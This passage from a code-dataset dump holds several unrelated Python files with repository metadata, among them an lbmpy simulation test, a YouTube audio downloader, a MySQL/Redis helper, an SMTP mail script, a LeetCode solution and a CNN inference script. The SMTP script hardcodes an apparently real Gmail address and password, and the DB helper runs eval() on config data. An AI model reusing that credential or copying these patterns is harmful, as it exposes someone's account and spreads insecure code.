relaxation_rates=[omega], equilibrium_order=3),\n LBMConfig(method=Method.CUMULANT, relaxation_rates=[omega], # cumulant\n compressible=True, continuous_equilibrium=True, equilibrium_order=3),\n LBMConfig(method=Method.CUMULANT, relaxation_rates=[omega], # cumulant with fourth-order correction\n compressible=True, continuous_equilibrium=True, fourth_order_correction=0.1),\n LBMConfig(method=Method.TRT_KBC_N4, relaxation_rates=[omega, omega_f], entropic=True,\n zero_centered=False, # entropic order 2\n continuous_equilibrium=True, equilibrium_order=2),\n LBMConfig(method=Method.TRT_KBC_N4, relaxation_rates=[omega, omega_f], entropic=True,\n zero_centered=False, # entropic order 3\n continuous_equilibrium=True, equilibrium_order=3),\n\n # entropic cumulant: not supported for the moment\n # LBMConfig(method=Method.CUMULANT, relaxation_rates=[\"omega\", \"omega_f\"], entropic=True, zero_centered=False,\n # compressible=True, continuous_equilibrium=True, equilibrium_order=3)\n ]\n\n parameter_study = ParameterStudy(run, database_connector=\"shear_wave_db\",\n serializer_info=('lbmpy_serializer', LbmpyJsonSerializer))\n for L in ls:\n for nu in nus:\n for methodParams in srt_and_trt_methods:\n simulation_params = setup_params.copy()\n\n simulation_params['lbm_config'] = methodParams\n simulation_params['lbm_optimisation'] = optimization_srt_trt\n simulation_params['config'] = config\n\n simulation_params['l'] = L\n simulation_params['nu'] = nu\n l_0 = simulation_params['l_0']\n parameter_study.add_run(simulation_params.copy(), weight=(L / l_0) ** 4)\n\n for methodParams in methods:\n simulation_params = setup_params.copy()\n\n simulation_params['lbm_config'] = methodParams\n simulation_params['lbm_optimisation'] = LBMOptimisation()\n simulation_params['config'] = config\n\n simulation_params['l'] = L\n simulation_params['nu'] = nu\n l_0 = simulation_params['l_0']\n parameter_study.add_run(simulation_params.copy(), weight=(L / l_0) ** 4)\n return parameter_study\n\n\ndef test_shear_wave():\n pytest.importorskip('cupy')\n params = {\n 'y_size': 1,\n 'l_0': 32,\n 'u_0': 0.096,\n 'v_0': 0.1,\n\n 'l': 32,\n 'nu': 1e-2,\n }\n\n kernel_config = CreateKernelConfig(target=Target.GPU)\n lbm_config = LBMConfig(method=Method.SRT, relaxation_rates=[sp.Symbol(\"omega\")], stencil=LBStencil(Stencil.D3Q27),\n compressible=True, continuous_equilibrium=True, equilibrium_order=2)\n\n run(**params, lbm_config=lbm_config, config=kernel_config, lbm_optimisation=LBMOptimisation())\n\n\n@pytest.mark.longrun\ndef test_all_scenarios():\n parameter_study = create_full_parameter_study()\n parameter_study.run()\n", "repo_name": "mabau/lbmpy", "sub_path": "lbmpy_tests/full_scenarios/shear_wave/scenario_shear_wave.py", "file_name": "scenario_shear_wave.py", "file_ext": "py", "file_size_in_byte": 11315, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.pi", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "numpy.vstack", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.linalg.lstsq", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.fft.rfft2", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 92, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.angle", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.unravel_index", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 101, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 103, "usage_type": "attribute"}, {"api_name": "lbmpy.relaxationrates.relaxation_rate_from_lattice_viscosity", "line_number": 111, "usage_type": "call"}, {"api_name": "pytest.skip", "line_number": 114, "usage_type": "call"}, {"api_name": "sympy.sympify", "line_number": 116, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 117, "usage_type": "call"}, {"api_name": "pystencils.create_data_handling", "line_number": 122, "usage_type": "call"}, {"api_name": "lbmpy.LatticeBoltzmannStep", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.copyto", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 150, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 180, "usage_type": "call"}, {"api_name": "lbmpy.creationfunctions.LBMConfig", "line_number": 189, "usage_type": "call"}, {"api_name": "lbmpy.LBStencil", "line_number": 190, "usage_type": "call"}, {"api_name": "lbmpy.relaxationrates.relaxation_rate_from_magic_number", "line_number": 192, "usage_type": "call"}, {"api_name": "lbmpy.enums.Method.SRT", "line_number": 195, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Method", "line_number": 195, "usage_type": "name"}, {"api_name": "lbmpy.enums.Method.TRT", "line_number": 195, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Stencil.D3Q19", "line_number": 196, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Stencil", "line_number": 196, "usage_type": "name"}, {"api_name": "lbmpy.enums.Stencil.D3Q27", "line_number": 196, "usage_type": "attribute"}, {"api_name": "lbmpy.creationfunctions.LBMOptimisation", "line_number": 201, "usage_type": "call"}, {"api_name": "pystencils.CreateKernelConfig", "line_number": 203, "usage_type": "call"}, {"api_name": "pystencils.Target.CPU", "line_number": 203, "usage_type": "attribute"}, {"api_name": "pystencils.Target", "line_number": 203, "usage_type": "name"}, {"api_name": "lbmpy.creationfunctions.LBMConfig", "line_number": 205, "usage_type": "call"}, {"api_name": "lbmpy.enums.Method.TRT", "line_number": 205, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Method", "line_number": 205, "usage_type": "name"}, {"api_name": "lbmpy.creationfunctions.LBMConfig", "line_number": 206, "usage_type": "call"}, {"api_name": "lbmpy.enums.Method.MRT", "line_number": 206, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Method", "line_number": 206, "usage_type": "name"}, {"api_name": "lbmpy.creationfunctions.LBMConfig", "line_number": 207, "usage_type": "call"}, {"api_name": "lbmpy.enums.Method.MRT", "line_number": 207, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Method", "line_number": 207, "usage_type": "name"}, {"api_name": "lbmpy.creationfunctions.LBMConfig", "line_number": 208, "usage_type": "call"}, {"api_name": "lbmpy.enums.Method.CUMULANT", "line_number": 208, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Method", "line_number": 208, "usage_type": "name"}, {"api_name": "lbmpy.creationfunctions.LBMConfig", "line_number": 210, "usage_type": "call"}, {"api_name": "lbmpy.enums.Method.CUMULANT", "line_number": 210, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Method", "line_number": 210, "usage_type": "name"}, {"api_name": "lbmpy.creationfunctions.LBMConfig", "line_number": 212, "usage_type": "call"}, {"api_name": "lbmpy.enums.Method.TRT_KBC_N4", "line_number": 212, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Method", "line_number": 212, "usage_type": "name"}, {"api_name": "lbmpy.creationfunctions.LBMConfig", "line_number": 215, "usage_type": "call"}, {"api_name": "lbmpy.enums.Method.TRT_KBC_N4", "line_number": 215, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Method", "line_number": 215, "usage_type": "name"}, {"api_name": "pystencils.runhelper.ParameterStudy", "line_number": 224, "usage_type": "call"}, {"api_name": "lbmpy.db.LbmpyJsonSerializer", "line_number": 225, "usage_type": "name"}, {"api_name": "lbmpy.creationfunctions.LBMOptimisation", "line_number": 244, "usage_type": "call"}, {"api_name": "pytest.importorskip", "line_number": 255, "usage_type": "call"}, {"api_name": "pystencils.CreateKernelConfig", "line_number": 266, "usage_type": "call"}, {"api_name": "pystencils.Target.GPU", "line_number": 266, "usage_type": "attribute"}, {"api_name": "pystencils.Target", "line_number": 266, "usage_type": "name"}, {"api_name": "lbmpy.creationfunctions.LBMConfig", "line_number": 267, "usage_type": "call"}, {"api_name": "lbmpy.enums.Method.SRT", "line_number": 267, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Method", "line_number": 267, "usage_type": "name"}, {"api_name": "sympy.Symbol", "line_number": 267, "usage_type": "call"}, {"api_name": "lbmpy.LBStencil", "line_number": 267, "usage_type": "call"}, {"api_name": "lbmpy.enums.Stencil.D3Q27", "line_number": 267, "usage_type": "attribute"}, {"api_name": "lbmpy.enums.Stencil", "line_number": 267, "usage_type": "name"}, {"api_name": "lbmpy.creationfunctions.LBMOptimisation", "line_number": 270, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 273, "usage_type": "attribute"}]} +{"seq_id": "28476121663", "text": "import os\r\nfrom pytube import YouTube\r\n\r\n\r\nyt = YouTube(str(input(\"Pegue el Link de Youtube: \")))\r\nvideo = yt.streams.filter(only_audio=True,\r\n progressive=False,\r\n audio_codec=\"\").first()\r\ndestino = \".\"\r\n\r\nsalida = video.download(output_path=destino)\r\n\r\nnombre, extension = os.path.splitext(salida)\r\naudio = nombre + \".mp4\"\r\nos.rename(salida, audio)\r\n\r\nprint(f\"{yt.title} ha sido descargado en MP3\")\r\n", "repo_name": "EmmanuelMMontesinos/DowYotMp3---Script-audio-YouTube", "sub_path": "DowYotMp3.py", "file_name": "DowYotMp3.py", "file_ext": "py", "file_size_in_byte": 452, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pytube.YouTube", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "18222799413", "text": "import torch\nfrom torchvision import transforms\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom PIL import Image\nimport time\n\n\nclass ImageClassificationBase(nn.Module):\n def training_step(self, batch):\n images, labels = batch \n out = self(images) # Generate predictions\n loss = F.cross_entropy(out, labels) # Calculate loss\n return loss\n \n def validation_step(self, batch):\n images, labels = batch \n out = self(images) # Generate predictions\n loss = F.cross_entropy(out, labels) # Calculate loss\n acc = accuracy(out, labels) # Calculate accuracy\n return {'val_loss': loss.detach(), 'val_acc': acc}\n \n def validation_epoch_end(self, outputs):\n batch_losses = [x['val_loss'] for x in outputs]\n epoch_loss = torch.stack(batch_losses).mean() # Combine losses\n batch_accs = [x['val_acc'] for x in outputs]\n epoch_acc = torch.stack(batch_accs).mean() # Combine accuracies\n return {'val_loss': epoch_loss.item(), 'val_acc': epoch_acc.item()}\n \n def epoch_end(self, epoch, result):\n print(\"Epoch [{}], train_loss: {:.4f}, val_loss: {:.4f}, val_acc: {:.4f}\".format(\n epoch, result['train_loss'], result['val_loss'], result['val_acc']))\n \ndef accuracy(outputs, labels):\n _, preds = torch.max(outputs, dim=1)\n return torch.tensor(torch.sum(preds == labels).item() / len(preds))\n\ndef to_device(data, device):\n \"\"\"Move tensor(s) to chosen device\"\"\"\n if isinstance(data, (list,tuple)):\n return [to_device(x, device) for x in data]\n return data.to(device, non_blocking=True)\n\nclass CnnDroneControlModel(ImageClassificationBase):\n def __init__(self):\n super().__init__()\n #self.layer1 = nn.Conv2d(in_channels=3, out_channels=32, kernel_size=4)\n self.network = nn.Sequential(\n\n # (hierarchical feature extractor)\n\n # Layer 0: Input Layer\n nn.Conv2d(in_channels=3, out_channels=32, kernel_size=4, padding=0),\n nn.Tanh(),\n\n # Layer 1: Convolutional Layer\n nn.Conv2d(in_channels=32, out_channels=32, kernel_size=4, padding=0),\n nn.Tanh(),\n\n # Layer 2: MaxPooling Layer\n nn.MaxPool2d(kernel_size=2),\n\n # Layer 3: Convolutional Layer\n nn.Conv2d(in_channels=32, out_channels=32, kernel_size=4, padding=0),\n nn.Tanh(),\n\n # Layer 4: MaxPooling Layer\n nn.MaxPool2d(kernel_size=2),\n\n # Layer 5: Convolutional Layer\n nn.Conv2d(in_channels=32, out_channels=32, kernel_size=4, padding=0),\n nn.Tanh(),\n\n # Layer 6: MaxPooling Layer\n nn.MaxPool2d(kernel_size=2),\n\n # Layer 7: Convolutional Layer\n nn.Conv2d(in_channels=32, out_channels=32, kernel_size=4, padding=0),\n nn.Tanh(),\n\n # Layer 8: MaxPooling Layer\n nn.MaxPool2d(kernel_size=2), #32 * 3 * 3\n\n # Layer 9: Fully Connected Layer (general classifier)\n nn.Flatten(),\n nn.Linear(32 * 3 * 3, 200),\n nn.Tanh(),\n\n # Layer 10: Output Layer\n nn.Linear(200, 3),\n nn.Softmax(dim=1)\n )\n \n def forward(self, xb):\n return self.network(xb)\n\n\n\n#Check for GPU & Load Model\ndevice = torch.device('cpu') #torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nmodel = to_device(CnnDroneControlModel(), device)\nmodel.load_state_dict(torch.load('weights_and_biases.pth', map_location=torch.device('cpu')))\n\n\n\ntransform = transforms.Compose([\n transforms.Resize((101, 101)),\n transforms.ToTensor(),\n transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])\n])\n\n\ndef predict_image(img, model):\n # Convert to a batch of 1\n xb = to_device(img.unsqueeze(0), device)\n # Get predictions from model\n yb = model(xb)\n # Pick index with highest probability\n _, preds = torch.max(yb, dim=1)\n # Retrieve the class label\n return image.classes[preds[0].item()]\n\n\n\npath = 'test.jpg'\nimage = Image.open(str(path))\nimage = transform(image)\nimage.classes = ['lc', 'sc', 'rc']\n\nstart_time = time.time()\nprediction = predict_image(image, model)\nend_time = time.time()\nelapsed_time = end_time - start_time\n\nprint(prediction, '' , round(elapsed_time, 4))\n\n\n\n\n\n", "repo_name": "NiklasVoigt/A-Machine-Learning-Approach-to-Visual-Perception-of-Forest-Trails-for-Mobile-Robots", "sub_path": "inference.py", "file_name": "inference.py", "file_ext": "py", "file_size_in_byte": 4409, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.nn.Module", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 13, "usage_type": "name"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.stack", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 58, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 82, "usage_type": "name"}, {"api_name": "torch.nn.Flatten", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 85, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 86, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 87, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 90, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 102, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 106, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 106, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 107, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 107, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 108, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 108, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 109, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 109, "usage_type": "name"}, {"api_name": "torch.max", "line_number": 119, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 126, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 126, "usage_type": "name"}, {"api_name": "time.time", "line_number": 130, "usage_type": "call"}, {"api_name": "time.time", "line_number": 132, "usage_type": "call"}]} +{"seq_id": "43486727906", "text": "import decimal\nimport json\nimport logging\nimport re\n\nimport pymysql\nimport redisutils\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%a, %d %b %Y %H:%M:%S',\n # filename='myapp.log',\n # filemode='w'\n )\n\n\nclass DBHandler:\n def __init__(self, item):\n\n self.item = item\n self.conn = None\n super().__init__()\n\n def query(self):\n\n sqllist = self.item['fetch_data_from_db']['data']\n dict_res = {}\n for dbvo in sqllist:\n try:\n database = dbvo['DBName']\n self.createDB(self.item, database)\n sql = dbvo['sql']\n parmlist = dbvo['param']\n logging.info(type(parmlist))\n parmlist_bak = []\n for p in parmlist:\n resdict = re.findall(r'\\{#(.*)\\}', p)\n if resdict:\n kw = resdict[0]\n\n # value = globalData.globalsData[kw]\n value = redisutils.myredis.hmget('params', kw)\n value11 = re.sub(r'\\${#(.*)\\}', value, p)\n parmlist_bak.append(value11)\n else:\n parmlist_bak.append(p)\n if parmlist_bak:\n parmlist = parmlist_bak\n res = self.cursor.execute(query=sql, args=parmlist)\n\n\n desclist = [desc[0] for desc in self.cursor.description]\n\n if res == 1:\n dbres = self.cursor.fetchone()\n\n # dbres = [str(x) for x in dbres]\n dictres = dict(zip(desclist, dbres))\n logging.info(dictres)\n\n self.saveparamtoredis(dictres)\n else:\n dbres = self.cursor.fetchall()\n\n for index in range(len(dbres)):\n desclist_Name = [f'{desc[0]}_{index}' for desc in self.cursor.description]\n oneData = dict(zip(desclist_Name, dbres[index]))\n self.saveparamtoredis(oneData)\n logging.info(f'{index} ---as---{dbres[index]}') # 这里要补充多条记录存的逻辑，redis后面还是要改成bson格式，不然不好扩展\n except Exception as e:\n logging.info(e)\n\n # cursor.execute\n\n def createDB(self, item, databasse):\n try:\n\n dbconfig = item['DBEnv']\n dbconfig = eval(dbconfig)\n ip = dbconfig['ip']\n port = dbconfig['port']\n user = dbconfig['user']\n passwd = dbconfig['passwd']\n charset = dbconfig['charset']\n dbName = databasse\n\n self.conn = pymysql.connect(\n\n host=ip,\n user=user,\n password=passwd,\n database=dbName,\n charset=charset,\n port=port,\n autocommit=True\n\n )\n self.cursor = self.conn.cursor()\n\n\n except Exception as e:\n logging.error(e)\n\n def dealSql(self, sql):\n sqllist = self.item['preReadyData']['data']\n dict_res = {}\n for dbvo in sqllist:\n try:\n logging.error(dbvo)\n database = dbvo['DBName']\n self.createDB(self.item, database)\n sql = dbvo['sql']\n parmlist = dbvo['param']\n parmlist_bak = []\n for p in parmlist:\n resdict = re.findall(r'\\{#(.*)\\}', p)\n if resdict:\n kw = resdict[0]\n\n # value = globalData.globalsData[kw]\n value = redisutils.myredis.hmget('params', kw)\n value11 = re.sub(r'\\${#(.*)\\}', value, p)\n parmlist_bak.append(value11)\n if parmlist_bak:\n parmlist = parmlist_bak\n res = self.cursor.execute(query=sql, args=parmlist)\n\n logging.info(f'paramllistsfsdf{type(parmlist)}')\n res = self.cursor.execute(query=sql, args=parmlist)\n\n\n\n except Exception as e:\n logging.info(e)\n\n def saveparamtoredis(self, res):\n\n # new_dict = {x: float(y) for x, y in res.items() if type(y) == decimal.Decimal}\n new_dict = {x: str(y) for x, y in res.items()}\n\n res.update(new_dict)\n\n myrds = redisutils.myredis\n\n # print(b)\n # value = json.dumps(res)\n myrds.hmset('params', res)\n logging.info(f'存入的值为{new_dict}')\n", "repo_name": "wangzhiqiang003/pythonProject", "sub_path": "Utils/case_utils/dbutils.py", "file_name": "dbutils.py", "file_ext": "py", "file_size_in_byte": 4773, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.basicConfig", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 8, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 33, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 36, "usage_type": "call"}, {"api_name": "redisutils.myredis.hmget", "line_number": 41, "usage_type": "call"}, {"api_name": "redisutils.myredis", "line_number": 41, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 58, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 68, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 70, "usage_type": "call"}, {"api_name": "pymysql.connect", "line_number": 86, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 101, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 108, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 115, "usage_type": "call"}, {"api_name": "redisutils.myredis.hmget", "line_number": 120, "usage_type": "call"}, {"api_name": "redisutils.myredis", "line_number": 120, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 121, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 127, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 133, "usage_type": "call"}, {"api_name": "redisutils.myredis", "line_number": 142, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 147, "usage_type": "call"}]} +{"seq_id": "23051970749", "text": "# Mail Message사용 객체 선언\nfrom email.message import EmailMessage\nimport smtplib # 자체 Core에 포함\n\n# SSL로 Open(SMTP 객체 생성)\nsmtp = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n# smtp 정상여부 Hello Test\nsmtp.ehlo()\n# smtp Login --> 본인 계정으로\nsmtp.login('ttaekwang3@gmail.com','tae9489#@!')\n\n# Message 생성\nmsg = EmailMessage()\n\n# 내부적으로 dic으로 선언\nmsg['Subject'] = '파이썬 Mail Test'\nmsg['From'] = 'ttaekwang3@gmail.com'\nmsg['to'] = 'Goldtrol@naver.com'\nmsg.set_content('''본문 전송 내용 , \\n\n MultiLine 가능\n 파이썬 입니다\n ''''')\n# Mail 전송\nsmtp.send_message(msg)\n# 연결 종료\nsmtp.quit()\n\n", "repo_name": "diannenote/python-class", "sub_path": "basic/ch27/smtp1.py", "file_name": "smtp1.py", "file_ext": "py", "file_size_in_byte": 717, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "smtplib.SMTP_SSL", "line_number": 6, "usage_type": "call"}, {"api_name": "email.message.EmailMessage", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "42315300157", "text": "# -*- coding:utf-8 -*-\n\n\"\"\"\n给你一个字符串 s 和一个整数 k 。请你用 s 字符串中 所有字符 构造 k 个非空 回文串 。\n如果你可以用 s 中所有字符构造 k 个回文字符串，那么请你返回 True ，否则返回 False 。\n\n示例 1：\n输入：s = \"annabelle\", k = 2\n输出：true\n解释：可以用 s 中所有字符构造 2 个回文字符串。\n一些可行的构造方案包括：\"anna\" + \"elble\"，\"anbna\" + \"elle\"，\"anellena\" + \"b\"\n\n示例 2：\n输入：s = \"leetcode\", k = 3\n输出：false\n解释：无法用 s 中所有字符构造 3 个回文串。\n\n示例 3：\n输入：s = \"true\", k = 4\n输出：true\n解释：唯一可行的方案是让 s 中每个字符单独构成一个字符串。\n\n示例 4：\n输入：s = \"yzyzyzyzyzyzyzy\", k = 2\n输出：true\n解释：你只需要将所有的 z 放在一个字符串中，所有的 y 放在另一个字符串中。那么两个字符串都是回文串。\n\n示例 5：\n输入：s = \"cr\", k = 7\n输出：false\n解释：我们没有足够的字符去构造 7 个回文串。\n\n提示：\n1 <= s.length <= 10^5\ns 中所有字符都是小写英文字母。\n1 <= k <= 10^5\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/construct-k-palindrome-strings\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\n贪心,\n统计有多少个落单的字母（出现次数为奇数）\n因为这些字符在每个回文串中最多只能用一次。 如果 落单的单词数量 > k，那么肯定是无解的\n\n可以构造的充要条件： 字母出现的次数为奇数的个数 <= k\n\"\"\"\nimport collections\n\n\nclass Solution:\n def canConstruct(self, s: str, k: int) -> bool:\n if k > len(s):\n return False\n c = collections.Counter(s)\n return sum(x & 1 for x in c.values()) <= k\n\n\ns = \"leetcode\"\nk = 3\nsol = Solution()\nprint(sol.canConstruct(s, k))\n", "repo_name": "lovehhf/LeetCode", "sub_path": "contest/第 23 场双周赛/1400. 构造 K 个回文字符串.py", "file_name": "1400. 构造 K 个回文字符串.py", "file_ext": "py", "file_size_in_byte": 1945, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "collections.Counter", "line_number": 55, "usage_type": "call"}]} +{"seq_id": "6311708009", "text": "import pyglet\nimport data\nfrom util import data_file\nfrom pyglet.gl import *\n\nclass Title:\n def __init__(self):\n self.image = pyglet.image.load(data_file('title.png'))\n\n self.active = True\n self.count = 4\n self.alpha = 1\n\n def update(self, tick):\n if self.active:\n self.count -= tick\n if self.count < 0:\n self.alpha -= tick\n if self.alpha < 0:\n self.active = False\n #print \"title off\"\n\n def draw(self):\n if self.active:\n glColor4f(1, 1, 1, self.alpha)\n self.image.blit(100, 450)\n glColor4f(1, 1, 1, 1)\n", "repo_name": "pdevine/suburbia", "sub_path": "gamelib/title.py", "file_name": "title.py", "file_ext": "py", "file_size_in_byte": 676, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pyglet.image.load", "line_number": 8, "usage_type": "call"}, {"api_name": "pyglet.image", "line_number": 8, "usage_type": "attribute"}, {"api_name": "util.data_file", "line_number": 8, "usage_type": "call"}]} +{"seq_id": "17959854552", "text": "def homework(train_X, train_y, test_X):\n from sklearn.model_selection import train_test_split\n from sklearn.model_selection import KFold\n\n\n def cosDist(v1, v2):\n return 